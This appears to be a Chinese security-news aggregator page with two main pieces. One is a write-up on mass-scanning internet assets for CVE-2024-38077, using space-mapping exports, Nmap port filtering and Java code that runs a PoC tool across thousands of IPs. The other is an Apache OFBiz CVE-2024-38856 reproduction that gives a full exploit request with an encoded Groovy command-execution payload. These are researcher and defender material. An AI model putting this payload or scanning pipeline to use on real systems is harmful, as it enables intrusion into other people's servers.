Aggregator
如何通过组合手段大批量探测CVE-2024-38077
近期正值多事之秋,hvv中有CVE-2024-38077专项漏洞演习,上级police也需要检查辖区内存在漏洞的资产,自己单位领导也收到了情报,在三方共振下这个大活儿落到了我的头上。Windows Server RDL的这个漏洞原理就不过多介绍,本文重点关注如何满足大批量探测的需求。
问题CVE-2024-38077自披露以来流传过几个poc工具,但使用过后留下的只有某某服的exe版本。可能出于保密原因,这个工具不支持的功能太多,本文就不一一列举,采用排除法自行脑补。支持的参数是指定某个IP或者某个IP段进行扫描,然后没了,就像这样:
但是这样扫来扫去无法满足需求,遇到的几个典型问题就是:
-
扫的为什么很慢?
-
从外部导入IP怎么办?
-
如何从大批量资产中筛选出有漏洞的?
探测辖区内或者某一地区的资产当然离不开空间测绘工具,fofa、鹰图、shaodan、zoomeye等著名的自然要尝试一遍,搜索的关键词首先是国内+3389和135端口+windows server操作系统,协议的话可以组合RDP/RDL,这样一来搜出的资产会多达几百万条,百万量级的数据处理起来对于我们这种小散户而言属于天方夜谭。况且这些空间测绘平台中有的甚至不支持非会员大数据量查询,像shaodan这样能够显示出来已经是仁慈的了:
结果虽然搜索出来了,但是百万级的数据是拿不到的。一是不支持多端口筛选,二是不支持导出(非会员)。
这里先解决第二个问题,如何导出搜索结果?突然想起了许久未用的空间测绘工具——kunyu(坤舆)。运行起来,进去执行搜索是这样:
检查了好多遍,语法没问题。不明觉厉之际,联系了kunyu的作者@风起。询问才知道ZoomEye的普通账号权限已经不支持kunyu了。唉,只能厚着脸皮借来账号一用。
然后就是重新初始化、配置输出目录、配置查询页数......这次导出的关键就在page参数上。kunyu默认的page是1,每次显示10条,即输出的Excel中有10条数据。如果设置为1000,则会显示10000条数据,导出的数据也就是10000条,但是这样一来查询效率会大大降低。经过测试,将page设置为100是较为合适的,也就是每次显示1000条。另外配合时间参数after、before以及区域参数city、subvisions将单次搜索总量控制在1000条以内,这样就可以不漏掉资产。
最后经过一番折腾,搜索了60多次,合并多个文件后,终于生成了一份5万条左右的Excel......既然有了一堆IP,接下来该进行的就是如何把这些IP导入工具开扫。但此时的poc工具是不支持外部IP导入的,并且对于“Can Not Reach Host.”之类的资产扫描进度会很慢,所以要考虑如何兼顾效率和准确性的问题。
由于之前经过测试,对于确实存在漏洞的资产,poc的响应是很快的。CVE-2024-38077的利用条件之一是同时开放135和3389端口,而空间测绘工具搜索的结果是未验证135的,所以接下来的思路是使用Nmap对5万个资产探测一下两个端口的开放情况,然后根据输出结果筛选出两个端口均为open状态的IP,最后尝试将筛选出的IP导入poc工具扫描。
这个阶段也尝试过fscan等其他工具,但是比较下来Nmap的输出是最整齐的(前提是控制输入参数),方便后续处理:
从输出文件可以看出,除了第一行是注释,下面的内容都很有规律,每六行是对一个IP的描述,包含135和3389两个端口,而且格式都固定。由于需求要的是开放两个端口的所有IP,现成的工具没有能够满足的,只能自己写,又一次掏出了idea......
胶水代码从Nmap的输出结果不难分析,如果要写代码处理的话,每六行可以看成是一个Nmap类,而这个类里面只需要3个属性,IP、port-135、port-3389。直接上代码:
//读取外部文件BufferedReader reader = new BufferedReader(new FileReader(file));
MNmap nmap = null;
ArrayList<MNmap> list = new ArrayList();
int count = 0;
String line;
//循环读取每一行
while ((line = reader.readLine()) != null) {
//ip
if (line.startsWith("Nmap")) {
nmap = new MNmap();
nmap.ip = TNmap.findIp(line);
}
//135
if (line.startsWith("135") && nmap != null) {
nmap.p135 = TNmap.findP135(line);
}
//3389
if (line.startsWith("3389") && nmap != null) {
nmap.p3389 = TNmap.findP3389(line);
//将每一个nmap对象加入list
list.add(nmap);
}
}
到这里整个任务已经完成了一半,精准的资产已经筛选出来了,大概2400多个。接下来就是使用poc工具扫描了,毕竟两千多条数据,总不能手动设置两千多次吧,所以还是要写代码:
//循环执行exe工具,参数是nmap的IP,并逐个获取执行结果for (int i = 0; i < list.size();i++) {
MNmap nmap1 = list.get(i);
if ("open".equals(nmap1.p135) && "open".equals(nmap1.p3389)) {
try {
// 指定要执行的exe文件及其参数
ProcessBuilder processBuilder = new ProcessBuilder(exeFile, nmap1.ip);
// 启动进程
Process process = processBuilder.start();
// 读取标准输出
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String l;
while ((l = r.readLine()) != null) {
if (l.contains("Vulnerability"))
System.out.println(l);
}
// 读取标准错误(如果需要)
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String errorLine;
while ((errorLine = errorReader.readLine()) != null) {
System.out.println("Standard Error: " + errorLine);
}
// 等待外部程序执行完成
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("程序执行完成");
} else {
System.out.println("程序执行出错,退出码:" + exitCode);
}
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
//计数
count++;
}
}
System.out.println("total: " + count);
这里贴出的只是关键的两段代码,完整项目见文末链接。最后将项目打成jar包,与CVE-2024-38077.exe和Nmap输出文件放在同一目录下:
开启powershell运行jar包,设置poc参数为CVE-2024-38077,同时指定输入IP的文件路径和输出文件路径,等待扫描完后得到存在漏洞的资产列表。
总结CVE-2024-38077漏洞的探测难点在于一是没有成型的工具,二是空间测绘出来的大批量资产如何导出与二次筛选。本文的思路只是临时方案,相信后面会有大神公开其exp,最终出现像MS17010一样的工具。
需要此项目加V:dctintin,发地址。
如何通过组合手段大批量探测CVE-2024-38077
Китай превратил сети телекомов США в канал разведданных
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。
影响版本
Apache OFBiz <\= 18.12.14
漏洞复现https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14
下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行
构造发送数据包
POST /webtools/control/main/ProgramExport HTTP/1.1Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功执行打开计算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().text); 进行编码后的数据
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/开头的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法转换为 doGet 请求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler 来处理请求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest 中依次获取路由相关参数
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次获取到与路由相关的参数后,调用 resolveURI 返回路由对应的配置信息
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
这里对应的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
对应的 /webtools/control/main/ 不需要认证,所以可以继续向下执行
通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下,将 viewName 设置为 overrideViewUri。否则将 viewName 设置为 nextRequestResponse.value。
这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
深圳市医疗保障政务服务在线办理地址链接汇总
New Web App Lets Researchers Test and Rank Language AI Tools in Real Time
再获肯定!CACTER邮件安全网关入选2024年度首期“磐安”优秀案例
再获肯定!CACTER邮件安全网关入选2024年度首期“磐安”优秀案例
CVE-2021-43936 | Distributed Data Systems WebHMI 4.0 Portal unrestricted upload (icsa-21-336-03 / EDB-50589)
CVE-2024-41592 vigor 栈溢出漏洞分析
Volkswagen в центре скандала: координаты сотен тысяч электромобилей оказались в руках хакеров
CVE-2020-11804 | TitanHQ SpamTitan 7.07 mailqueue.php quid input validation (EDB-48817)
DeepSeek 称其新模型只花了 550 万美元训练
DeepSeek 称其新模型只花了 550 万美元训练
Microsoft Warns of Windows 11 24H2 Issue that Blocks Windows Security Updates
Microsoft has issued a warning about a significant issue impacting devices running Windows 11, version 24H2, that could block essential Windows Security updates. The problem arises when users install this version of the operating system using media—such as CDs or USB drives—containing either the October 2024 or November 2024 security updates. If affected, devices may […]
The post Microsoft Warns of Windows 11 24H2 Issue that Blocks Windows Security Updates appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.